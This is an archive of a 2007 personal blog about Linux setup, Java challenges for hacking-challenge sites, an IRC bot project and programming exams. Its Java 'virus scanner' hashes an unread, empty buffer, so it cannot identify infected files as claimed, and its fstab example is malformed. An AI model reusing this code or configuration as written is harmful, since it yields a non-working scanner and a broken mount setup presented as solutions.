4 years ago, as a student taking the Java programming course instructed by Professor Dave Elliman, I was given the task to fix a broken code for a Fruit machine. It was my first approach to Swing and I really enjoyed it. Although broken, the code was really well designed that it really took me very little time to get the machine working. Being really enjoyed, I enhanced the code even more and the lab instructor was really impressed.

Last week while discussing with Sphinx about writing a Jackpot as the next applet chall, the old code came to my mind. And now it has been recycled to become a real cool challenge. Among the applets I have created, this one has the nicest graphics. The broken code now has become a real gem ;) But don't be lured for its disguise. You'll scream in horror once you see the devils that are protecting those precious gems :P

Curious? If you have yet to create an account at rankk, do so right now and climb up to level 7 to defeat this chall!

Sunday, September 16, 2007

Taming the penguin - Part 3

You know, I had Mandriva 2007, but I still wanted to get the latest packages, especially KDE, the best desktop environment out there. In Mandriva, this can be done easily with a single command:


urpmi task-kde
Once again things didn't go on so well - that's the thing I hate the most about Mandriva betas. As an experienced Mandriva user, I logged into failsafe trying to start KDE from text mode and debug the problem. Here's the important command sequence:

xinit
startkde &

From the error output I found out that the arts package was missing. I installed it and voila, the system booted smoothly :)

Now I can live happily until the official 2008.0 release comes out - hopefully before October :)

Tuesday, September 11, 2007

Something for September

Just realized there hasn't been any post for almost a month, although I have been quite active.

On the new pyramid, aka rankk, I have finally secured the first place. Obtained it quite a long time ago, but the place was always taken back by valsa whenever I woke up in the morning. It was not until he had solved the final challenge - 9/1 - that I had a free race. Was there a curse placed upon the Geb title that he has not been able to surpass? If so, I really should take it with care ;)

On TBS, finally I have grabbed 2 more challenges to reach 300. What's even cooler is that one of them is "The Long Forgotten Game" - a really evil chall. With that challenge done now I only have 3 more BaRa's steganos unsolved - Same record as Phas and Inferno - Of course I'll surpass them soon.

A few months ago flamecruiser claimed that he would get TLFG before me. Now I really have taught him who's the new master. quangntenemy is back and kicking! :D

Saturday, September 1, 2007

Taming the penguin - Part 2

Hey, it's me again.

Last time after installing Mandriva 2007, I tried to upgrade to 2008 beta 1 again. And once again things screwed up. Being on a slow connection I had no other choice other than switching back to 2007. So basically I'm on 2007 now.

The next day the Mandriva community released 2008 beta 2. So I grabbed the DVD iso. Too scared to upgrade the whole system yet so I planned to keep it for individual package upgrading. I don't have a DVD burner, but there's no need for it actually. In Linux you can mount an iso without the need for a virtual CD/DVD drive. The command is:

mount -o loop -t iso9660 /mnt/data/images/mandriva-linux-2008.0-free-beta2.i586.iso /mnt/2008/
You can make the system mount the iso automatically by adding the following line to /etc/fstab:
/mnt/data/images/mandriva-linux-2008.0-free-beta2.i586.iso /mnt/2008 iso966 0 ro,loop,auto 0 0
And here's the command to add it to the urpmi source:
urpmi.addmedia --distrib 2008 /mnt/2008/i586/
rpm --import /mnt/2008/i586/media/media_info/pubkey1
There's a cool game added to 2007 that I really enjoyed: Super Tux (haven't noticed it until now :P) Basically it is similar to the famous Super Mario Bros series with nicer graphics and the most important thing is that it is freely available. Not just that you can get it for free, you can also use the level editor to create new levels, or if you are familiar with c++ programming in *nix you can edit the source code to add more cool features :)

As a member of the @ generation, which browser do you use? A sad fact is that although the Internet has been around for many years all the browsers out there are still immature. Internet Explorer (aka Exploder) is a piece of crap. Firefox, the currently dominating browser is a big mem eater. Other browsers like Opera, Konqueror, Netscape, Safari don't provide as good plugins. And none handles applets/flash loading very well. People always claimed applets/flash suck because they freeze their browsers but the real truth is that the browsers really sucked.

I used to have 3 browsers installed on my Linux box: Firefox, Konqueror and Opera. Now I have to install Opera on my fresh system again. Having grabbed the latest rpm from http://www.opera.com, installing was easy with urpmi. Unfortunately, on startup, the fonts were so badly broken that I could not read even a damn word.

After some research, I found out that the problem was that Opera was using 100dpi fonts while they had not been installed on my system. xorg-x11-100dpi-fonts was what I need :)

That's it for now. Stay tuned for the next chapter :P

Sunday, August 26, 2007

Still taming the damn penguin

Been experiencing the best and worst things you can see in the IT world :D
Well, I've been trying to enlarge my Linux partition. There are 2 ways to do it: creating another partition for /home or a fresh install. I decided to do a fresh install because I wanted to fix some trivial problem with KDE sound (but later on it turned out to be a bad choice :().
Since Windows was crappy I decided to do a fresh reinstall for it too. The sucker could not boot from slave drive, so I had to install it to the master drive. On the secondary drive I had 30GB for Linux and 45GB for data.
After backing up the data, I got myself a 3-CD version of Mandriva 2008 beta 1. Installation went smooth, the only thing that annoyed me was that I had to switch too often between CDs - they should have distributed the packages cleverer :P
As all packages have been installed, I was taken to the configuration screen. To my surprise, there was no graphical lilo bootloader, and although I could choose grub-graphic, it still complained that some packages were missing. So I had no choice but to choose lilo-text as the bootloader.
The text version was really awful. As I logged into the system, I found myself in IceWM. There were no KDE nor fluxbox although I was sure that I had choosen to install them.
OK, I'm no fan of Gnome, I didn't install it either, and IceWM really sucked. Also I noticed that the 3-CD version was much smaller than the DVD one. Unfortunately I don't have a DVD burner, and the DVD image was too big for my damn connection. Therefore I decided to switch back to 2007 and wait for the official version later this year...

(To be continued)

Wednesday, August 15, 2007

New Java applet challenge

Just created a quick one for the new pyramid. Named "Chamber door". Not as hard as the others I have made but it goes really well with the ancient Egyptian background ;)
Create an account at the new pyramid, defeat the first 4 levels to give it a try guys :D

Tuesday, August 7, 2007

bbq project - fourth release

Hey guys, it's been a long time.
I have been quite busy (mostly reading HP7 :P) so there hasn't been much update to the bbq project.
Anyway, a new version has just been released. Features including new items, new monsters and a new mechanism for monster spawning (mostly to control farming :P)
Oh and sniperkid now provides the new host so bbq can be up most of the time ;)
Also, I have started playing at a new challenge site: The new pyramid. Quite interesting. However with my skills and experience I have climbed to the 2nd place within only 9 days :)
Come challenge me there!

Wednesday, July 4, 2007

Yet another blog

Hey dude, are you out of mind? You have too many blogs already! Why create a new one?

Hehe true. But since I'm working on too many different things I believe I really need a new blog. This one will be about problems I encounter on my projects (and surely the solutions to them). I hope this will help those who encounter the same problem as me.

Now let's get onto the first problem.

Since the return of an old friend who was fighting alongside with me in the fierce battle to wipe out all the evilness in this world, I am now working on a new project - Enfair (you'll hear more details about it soon :P). The project makes use of 2 common libraries - JSF and MyFaces Tomahawk. On his comp everything went smoothly without any problem. But on mine the stupid thing always refused to work by throwing a crazy exception:

07/07/04 16:50:43 oracle.classloader.util.AnnotatedClassNotFoundException:

Missing class: [Ljava.lang.String;

Dependent class: com.sun.faces.config.ConfigureListener
Loader: current-workspace-app.web.Tomahawk-Project1-webapp:0.0.0
Code-Source: .../jdevstudio10132/jdev/mywork/Tomahawk/Project1/public_html/WEB-INF/lib/jsf-impl.jar
Configuration: WEB-INF/lib/ directory in .../jdevstudio10132/jdev/mywork/Tomahawk/Project1/public_html/WEB-INF/lib

This load was initiated at current-workspace-app.web.Tomahawk-Project1-webapp:0.0.0 using the loadClass() method.

Been trying to resolve the problem without any luck, I tried deploying the project to Tomcat. A similar exception is thrown:

java.lang.ClassNotFoundException: [Ljava.lang.String;
at org.apache.catalina.loader.WebappClassLoader.loadClass(WebappClassLoader.java:1358)
at org.apache.catalina.loader.WebappClassLoader.loadClass(WebappClassLoader.java:1204)

It has been bugging me for quite a while until I entered the right keyword on Google and found the solution.

The problem was that Tomahawk and the JSF library bundled with JDeveloper were not fully compatible in Java 6. Fortunately there have been a new patch from https://javaserverfaces.dev.java.net to fix it. I downloaded version 1.2_04 P02 (23 May 2007) and it runs like a charm now :)

So scary how a tiny problem could lead to a big disaster.

Sunday, June 10, 2007

bbq project third release!

Finally! The nasty bugs with the listeners have been fixed! Wrong use of finalize method surely lead to disasters.
Anyway, enjoy the new stable release! There have been too many features added since the second release so you should refer to the version history for more details.

Thursday, June 7, 2007

Challenge solved!! New Steganabara version soon :D

Finally solved Stegano 36: "You are granted a license!" [made by BaRa]. A crazy chall!
Anyway, it inspired me to continue working on Steganabara, once again :P
Well the next version will be a bugfix, which makes it fully functioning under Windows :P
There's no planned new features yet, but maybe the CryptoBox will be improved too

Wednesday, May 30, 2007

Something before the end of the month :P

Well here I am again, trying to post something before June comes.
If you're looking for something new, this really is the right place.

The bbq rpg is still going fine as ever. We now have level 5 spells and a whole load of new monsters and items. Most noticeable is the new combination of items and the addition of healing items. A supermarket will be there soon enough. And the trading feature is almost complete.
The bad news is that there are bugs in the bj and hangman modules that I haven't been able to fix. So the next official release will be delayed a bit.
Oh, before I forget to mention, I managed to find a cvs host for it at CVSDude, and now bbq can be online longer being co-hosted by theAnswer and Gizmore.

In the meantime, I am now a JBB moderator leading a few exams. Hopefully we'll have new Swing exams soon :)

The last thing I want to mention in this post is that I have come back to hackquest and solved all the Linux challenges there! gdb rocks!
Maybe I'll solve all the Linux challs @ tbs soon.

Tuesday, May 15, 2007

Long time again - am I too lazy?

Nope, just because I have been working on the bbq project everyday :P

We have some big updates and a new release will surely come out this month.

Notably are the addition of items, mvp monster bosses, spells up to level 4, autoheal and autospell.
The cool smiley :D has been used wisely for dueling too :D.

Don't forget to check the website for the cool new features. I'll update a version history soon enough so you can know what's actually going on (and maybe make some contribution :P)

Any comments/suggestions are welcome!

Friday, April 27, 2007

bbq RPG goes official

Hey guys,

Finally the first official release of the bbq RPG. Now you can actually fight monsters with your friends :) At the moment only basic level 1 spells are available, but more will be added later.

More details about the game can be found here. Come join us on #tbs-botzone @ irc.idlemonkeys.net now!

At the moment the game is only available when I'm online. Maybe I'll find a (free) IRC bot host? :P

Tuesday, April 17, 2007

More updates :)

Hey guys,
Some new updates from my projects :)

Firstly, the website has been completely updated to comply with XHTML 1.0 Strict :) And it's now 100% table-less (if you click on the validation icon it'll say it's no 100% - stupid freewebs ads, I'll do something to have it changed)

Secondly, Steganabara 1.0.8.2 has been released. Well, not a public release btw :P Other than me, theAnswer has the only copy :P Just a minor bug fix for the drag & drop feature support for Windows. If you are using another desktop environment other than KDE/Windows, and for some weird reason the feature isn't working, feel free to drop me a mail :)

Thirdly, and our featured update today :) An update from the bbq project. There's no update to the bbq rpg and atm the Lamb-shadowrun is taking advantages. But a new bbq game is now catching the attentions :) Yes, it's the arcade game hangman that has been revived in an irc context :) There has been many attempts from theAnswer to cheat on the game, but on-time updates have been release to stop them all :) Come get hung at #tbs-botzone now!

Sunday, April 8, 2007

Steganabara 1.0.8

Hey guys,
Steganabara 1.0.8 is out :)
It now provides full drag & drop support, with a brand new feature: color explorer (idea shamelessly taken from Phas :P)

Next major release will be 1.1. If you have any cool idea that should be implemented, start contributing now :)

Oh and in the meantime I'm upgrading my website to using table-less layout - Yay for the new W3C standard :) Once it is done then maybe we'll be migrating to a new webhost - searix for better performance :)

That's it for now! Stay tuned for the next chapter :)

Friday, April 6, 2007

Steganabara official release - 1.0.6

Hey guys,

The Steganabara project first official release - 1.0.6.
Almost all features mentioned in the last post have been implemented.
Drag and drop support will be added soon.

Download the new release now and play with various new features of the color map/table at http://www.freewebs.com/quangntenemy/steganabara/Steganabara.jar

Wednesday, April 4, 2007

Steganabara - official release

Hey guys,

I'm working on the Steganabara project again :)

There will be an official release this month, featuring:
- Drag & drop support (yay XD)
- Color chooser (no need to type the hex color anymore)
- Visual bit mask selector (no need for that long 0s and 1s sequence :P)
- Quick color map chooser (yes, you can view the color map for every color from the color table now)

Stay tuned for the next chapter :D

Wednesday, March 28, 2007

Brown belt

Finally got the cool brown belt.
Wasn't too hard with my skills :)
What's my next target? There's still the huge J2EE part to conquer. And the bbq project of course ;)

Tuesday, March 27, 2007

J2SE = yummy :)


Finally got all available Java SE exams passed at JBB.
What's cool is that I got 100% in the Reflection exams, both beta and real.
Maybe it's because I have made extended use of it in my bbq project :)
Only 2 more points to get brown.
Maybe my next target will be.. JUnit - Basic.

Monday, March 26, 2007

bbq project first release

Hey guys, we have a good news and a bad news today.

The good news is from the bbq project. The first release (25 Mar 2007) is now available at http://www.freewebs.com/quangntenemy/bbq. Download one and start customizing it for the #tbs-botzone contest now :)

The bad news is also from the bbq project. Yesterday my bot lost 14 games in a row (well, there were 2 pushes though) and lost all the money :( (almost $400k) Now I have to start from scratch again. In other words, every candidate has equal chance now :P

Anyway, I'm starting to work on the IRC-PRG project :P Setting up MySQL and designing the tables at the moment. Coding will start soon.

Stay tuned for the next chapter :)

Saturday, March 24, 2007

A visit from Microsoft?


Today when I was looking at the log to see how popular my blog was, I noticed this special link.
Yes, my blog got a hit from a guy from M$.

What happened to the computer world? Did Mr Gates suddenly wake up in the morning and noticed that their so-called innovative operating system Windows Vista and the Java rip-off .Net framework were a failure and decided to follow the path of the penguin in the open source world? :) Or was that just a M$ employee who got bored with the noob stuff at work and roamed the Internet looking for some fun? Or just a stupid crawler that was just leeching off my site?

Looking into more details, that guy came to my site via a Google search with my nickname as the keyword. There was some information about the screen resolution, color depth and javascript enabled so I guess that shouldn't be a crawler :P

Anyway, whoever it is, I suppose the mysterious visitor will reveal himself soon enough :P

Tuesday, March 20, 2007

Long time 2 :D

Hey guys, it's been a long time once again :D

I have been quite busy both at work and home :) The .Net project at work was quite easy for a 1337 like me, but it's quite time-consuming :( At home I am still working on the cute bot bbq :D

We're having an official irc channel for botting :D It used to be #tbs-traders but now we have moved to #tbs-botzone because Inferno didn't like that name :P

At the moment the botzone members are working on 3 projects. theAnswer, Gizmore, jmoncayo and matrixman are working on the so-called "Lamb project", which is coded in php with the power of MySQL. They even have a homepage for it, click here if you're interested :) ch0wch0w is working dependently on his ch0wb0t whose ability is still unknown :P And myself, as you already know, am working on the bbq bot which is written in Java using the irc module provided by PircBot.

Our first target is to win $1 million from playing blackjack with Shepp. At the moment my bot seems to be leading with $167142 in the bank after 2837 games. theAnswer and Gizmore's bots are still far away after losing all their money, both have played around 1000 games. Other players' status are unknown. But our result is still so far from the legendary No0ther1 who had played 201801 games, and won more than $1 million but unfortunately lost them all :P

As I only have 1-2 hours spare to work on the bot each day, my bot hasn't progress so far. At the moment it needs a little refactoring due to bad design - something that always happens when you try to solve an AI problem with some quick and dirty code :P Hopefully after this last refactoring my bot will become stable and available for non-commercial purpose soon :)

What's more, after our bots going stable, we're planning to write an irc-based RPG :) Come join us anytime soon on #tbs-botzone at irc.idlemonkeys.net :)

Tuesday, March 13, 2007

Problem with KDE sound

Is KDE your favourite desktop environment? I'm using it because it's much cooler than Gnome :P
As a penguin tamer, I always read the cool Linux articles by Steven J. Vaughan-Nichols. One of my favourite was his article titled "Little Red Riding Tux meets the Big Bad Wolf". The podcast was so cool that I wanted to make it my KDE startup theme so that I can hear it everytime I start my Linux box ;)
Unfortunately, for some weird reason, KDE just refused to play it :P Maybe because of the file being stored in mp3 format. What's even worse, it caused my sound driver to stop working -.- And for some weird reason, even when I reseted the sound theme to default, sometimes the old config still popped out of nowhere.
Care less about the KDE config bug :P Atm all I need is a way to get my sound working without having to restart KDE. A simple solution is to restart the sound driver. As I am using alsa, the command is

service alsa restart
That's it for now! Have fun taming your penguin guys ;)

Sunday, March 11, 2007

Long time

Hey guys, here's a new post again :D
It's been quite a long time since the last post, what have I been up to? :P
I had a quite busy week with a new .Net project at work and an IRC bot project at home. I've been looking for a PhD opportunity too, since it's now that time of the year again :P
Throw away the boring technical stuff, the bot is the main theme today :D
If you still remember, I have been using the Pyborg IRC bot by Tom Morton for quite a while. Recently the need for it grows stronger and the BADC0DED Python code is quite hard to maintain, so I decided to start a new Java project for it :)
My new bot uses PircBot as the core IRC module. At the moment the core is almost complete with a secure user system and a flexible command system :) What's cool is that commands can be updated on-the-fly (i.e no need to restart the bot everytime a command is added/updated) :D Maybe in the future there'll be needs for observer ability - so that messages sent to the bot will be forwarded to different observers for misc processing :)
At the moment the bot is named bbq but I'm not quite content with it :P Maybe it needs another cool and cute name? :P Any idea?

Monday, March 5, 2007

Blue belt

Yes, finally I have achieved it! The long waited blue belt!
Next target will be the brown belt of course ;)
Oh and what's more special, it's my birthday today!
Joy!!!

Sunday, March 4, 2007

Welcome :)

Welcome to my new blog - Penguin tamer :)

Why create another blog, while I already have (a very nice) one? :D Well, as you already know, I have a penguin at home :) Although I have been a skillful Tiger tamer for a few years, taming the penguin is still a challenge for me. Mostly because since I started going to prison (aka work :D), I don't have much time with the penguin anymore. And as the penguin is surely more powerful than the other competitors from M$ and Mac, more effort is needed in order to control him :)

Some info about my penguin:
- Distro: Mandriva 2007 Beta 2
- Kernel: 2.6.17-3mdv
- Desktop: KDE 3.5.4, fluxbox 0.9.15
(More will be added later)

I'm just above the beginner level so anything I post will be inaccurate/incomplete. Please feel free to add comments/suggestions :)

Thursday, March 1, 2007

proxomitron - quangnitron

Maybe some of you already know, I have a stupid firewall at work that caches every single page, even when the page tells it not to do so.

This thing caused me a serious problem, especially when taking Java BlackBelt exams. I needed to reload the page all the time to get a fresh copy of the question.

What even worse is that when the page redirects to another page, mostly error page, refreshing won't work. I had to add dummy parameters to the URL using the LiveHTTPHeaders Firefox extension. This is quite a tedious job.

Well, a proxy that generates random parameters will solve the problem. I decided to start work on my quangnitron project again, however it is not an easy task.

Another idea crossed my mind today. Remember, even when the cache is still there, refreshing the browser will still get you the fresh version of the page? Why is this? A little analysis on the requests sent by the browser brought me to the long-waited result. Yes! It's the Cache-Control: max-age=0 header that does the job :) Fortunately the stupid firewall still respects this :)

No of course I wouldn't have to manually add this header to the request every time using LiveHTTPHeaders. Because it can be done nicely using Proxomitron. Now with Proxomitron it's freedom here :D

Oh and since Proxomitron's author, Scott Lemmon, passed away a few years ago, I think I should continue working on my quangnitron project to create a cross-platform version of this wonderful tool. With more features added in the future of course :)

Well, maybe I've been saying too much :P Making quangnitron as good as Proxomitron is a little too big for a lazy monkey like me. Anyone wanna teamwork? :D

Sunday, February 25, 2007

Woot! 100%


It's been quite a long time since I last got a perfect score at JBB. The last time was almost a month ago in the SQL & RDB - Basic exam. But today I got a perfect score again. What can I say? Great! Thanks for my years of experience as a challenger. Anyway, kampai for now!

Wednesday, February 21, 2007

Java-Applet tutorial?

Do you want a Java-Applet tutorial? What would you like to be included in the tutorial? Cast your vote here ;)

Do you want a Java-Applet tutorial?
Yes, please!
No, I know enough Java for these challs
No, it's more fun to solve them all by myself ;)
No - other
Doesn't matter, I don't want to touch those evil challs you created :P
Free polls from Pollhost.com

New version of qtj 1?

Since many are having difficulty in picking the right solution from the many that give a perfect score, I'm considering to add some more checks into the challenge to make it easier. What do you think?

Do you want a new and easier version of "quangntenemy teaches Java"?
Yes, it's a real pain to find the only solution among the "perfect score"
Yes, it's too hard for me
Yes - other
No, it's more fun as it is
No, it's not hard at all
No - other
Doesn't matter, I already solved it :P
Doesn't matter, I wouldn't want to touch it :P
Free polls from Pollhost.com

Thursday, February 15, 2007

Green belt

Yes, I finally got a green belt at Java BlackBelt. It turned out that my experience of solving challs and creating Java applets for tbs has finally paid off ;)
On my way to the next blue belt ;)

Monday, February 12, 2007

OOP

No this post is not about the famous hit Oops! I did it again. It's about Object-Oriented Programming in Java.
Some of you might think, as I recently created the new quangntenemy teaches Java 2 applet challenge, which is mostly about OOP in Java, I should be very good at it. Well, the fact is that I am just above the beginner level, as classified by Java BlackBelt.
While roaming around the Internet looking for resources in preparation for the next belt, I came across this tutorial at Java Boutique. Very good one ;)
I am looking for more tutorials like this, or better, some ebooks about OOP in Java at intermediate level. If you have any recommendation, please let me know :)

No title

Arg, can't think of a cool title for today.
Anyway, my stupid ISP didn't let me connect to this blog for the last few days - Looking for a good proxy for the job.
Despite their suckiness, I was still alive ;)
Got myself an orange belt at Java BlackBelt.
Updated my homepage at freewebs.
And the new All The Strings crackit challenge is up at tbs thanks to Inferno ;) Enjoy guys

Wednesday, February 7, 2007

New host

Hey there, the penguin rider is still around here.
This time I've got myself an awesome webspace with 500MB storage, some cgi support (need to look at it a little more), and absolutely no ads (yay :D). Many thanks to alt3rn4tiv3. Maybe you should beg him for a free account too *cough*
Give it a try at http://quangntenemy.searix.net/. The new applet challenge quangntenemy teaches Java 2 is already hosted there. I am planning to migrate some other challenges too.
Oh and even if you see the directory listing there you shouldn't try to hack it - Nothing exploitable's there for you :P Go hack alt3rn4tiv3 instead, he's already put something there :P

Monday, February 5, 2007

Virus? No single chance!

Well, not many people are lucky enough to have something other than Windows at work. Really, just a few have that pleasure. I am among the unlucky ones. But not like the others who want to protect their comp with a huge security package (anti-virus + firewall + anti-spyware etc.), I wouldn't want any. Not because I'm not aware of the security risk, it's just that those things consume quite a lot of your system resources.
Right, just don't click on any suspicious link, and don't open any suspicious attachment, I'll be fine. That's what I used to think. It had been right. Until a few weeks ago. Heh, how funny it could be when you look at the processes in your task manager and see a winzip process running there, when the only thing you're using is WinRar? :P Anyway, nice try. The virus attacked some noob in my network and found a way to my computer. It didn't live long, though. A quick search took me to this page from McAfee and a quick manual delete wiped the virus out from my comp ;)
Anyway, yes, you might have guessed, the virus was not completely wiped out. Today while browsing some local folders, I saw the files again. The virus was not active, of course. But I would prefer wiping out all the infected files. Thus the following solution in Java:


import java.io.File;
import java.io.RandomAccessFile;
import java.security.MessageDigest;
import java.util.Hashtable;

public class Scanner {

private Hashtable hash;

public Scanner() {

hash = new Hashtable();
hash.put("WinZip_Tmp.exe", "165b15075a22b0825f286f8f2de8cf71");
hash.put("Temp.Htt", "ea7d7bd6eece99eb35daa1e5f1decd60");
hash.put("desktop.ini", "c06c6123a8d3723eeefe8ed813b0658d");

} // end constructor

public static String md5(File f) {

try {

MessageDigest md = MessageDigest.getInstance("MD5");
RandomAccessFile r = new RandomAccessFile(f, "r");
byte[] b = new byte[(int)r.length()];
md.update(b);
b = md.digest();
StringBuffer hexString = new StringBuffer();
for (int i = 0; i < b.length; i++)
hexString.append(Integer.toHexString((b[i] & 0xFF) | 0x100).substring(1));
return hexString.toString();

} catch (Exception e) {

return null;

} // end try catch

} // end md5

public void scan(File f) {

File[] files = f.listFiles();
if (files == null) return;
for (File file : files) {

if (file.isDirectory()) scan(file);
else {

String s = file.getName();
if (hash.containsKey(s) && hash.get(s).equals(md5(file))) {

if (file.delete())
System.out.println("Successfully deleted: " + file.getAbsolutePath());
else
System.out.println("Failed: " + file.getAbsolutePath());

} // end if

} // end if else

} // end for

} // end scan

public static void main(String[] args) {

String pathname = args.length > 0 ? args[0] : "./";
File f = new File(pathname);
Scanner s = new Scanner();
s.scan(f);

} // end main

} // end class

The code might be extendable to create a complete anti-virus engine. But you know, I'm too lazy. So if you're interested in completing the job, please do it and let me know ;)
And no, I'm not installing any anti-virus software on my comp. I wouldn't need one ;)

Friday, February 2, 2007

New host

OK, quangntenemy teaches Java 2 and Message Me have been moved to my site hosted at t35.com. The new links for the challenges are:
http://quangntenemy.t35.com/javalesson2/
http://quangntenemy.t35.com/messageme/
The only bad thing about t35 is that their ads scripts are really BADC0DED, therefore spoiled my W3C "valid" icons :P They sure need some brainwash.
Anyway, enjoy the challenges (and slap Inferno with relee's frozen trout for the delay in uploading them :P)

Thursday, February 1, 2007

"Message Me" ready for beta-testing

OK, finally it's out for beta-testing at http://quangntenemy.googlepages.com/messageme.html. Enjoy!
Google doesn't allow some special characters in the filename so some parts just don't work. When you're there just download the file for local testing ;) I'll be moving the challenge to freewebs soon.

Tuesday, January 30, 2007

Spam Poison

Yesterday a spammer dared to advertise Firefox on my blog. I'm a fan of FF, but I have zero tolerance for spam. So I decided to add a link to Spam Poison. Spammers, beware, I'm watching you!

Monday, January 29, 2007

New challenge ready for submission

Thanks to Chemi the challenge is now fully functioned (no need for a weekly quangOS security update :P) . Submitting it to Inferno today :D
Starting work on Message Me.
Oh, solved the new problem 139 at project Euler also ;)

Thursday, January 25, 2007

New chall ready to go ;)

Ok, the package is complete with a detailed how-to and an automatic solver.
Will be reviewing it once again next Monday before submitting ;)
Be prepared for some fun ;)

Wednesday, January 24, 2007

New chall

Something new today ;)
quangntenemy teaches Java 2 is ready for solving ;P Writing the Solver & readme for submitting.
New idea for a new (special?) challenge: Message Me :D

Edited: Updated JavaLesson2.jar a bit. If you want the updated (and easier :D) version you should download it again.

Tuesday, January 23, 2007

First post

Hey guys,

Starting from today I'll be an active blogger :D Just to show you I'm still active and creating some cool stuff for you :P "I blog, therefore I exist" :D

Here you can find information about tbs challenges I'm creating, non-commercial projects I'm working on, or other stuff about Java, Linux, cryptography, internet security and any other thing that I like :D

A piece of good news: quangntenemy teaches Java 2 is now available for beta testing at http://quangntenemy.googlepages.com/index.html. You might want to ask why I don't put it up on http://www.freewebs.com/quangntenemy? Well the host got blocked by a stupid firewall. But I will try to get around it someday. In this world it's just wonderful that there's a way around everything :D

That's it for today! Enjoy the challenge! More will be coming next week :D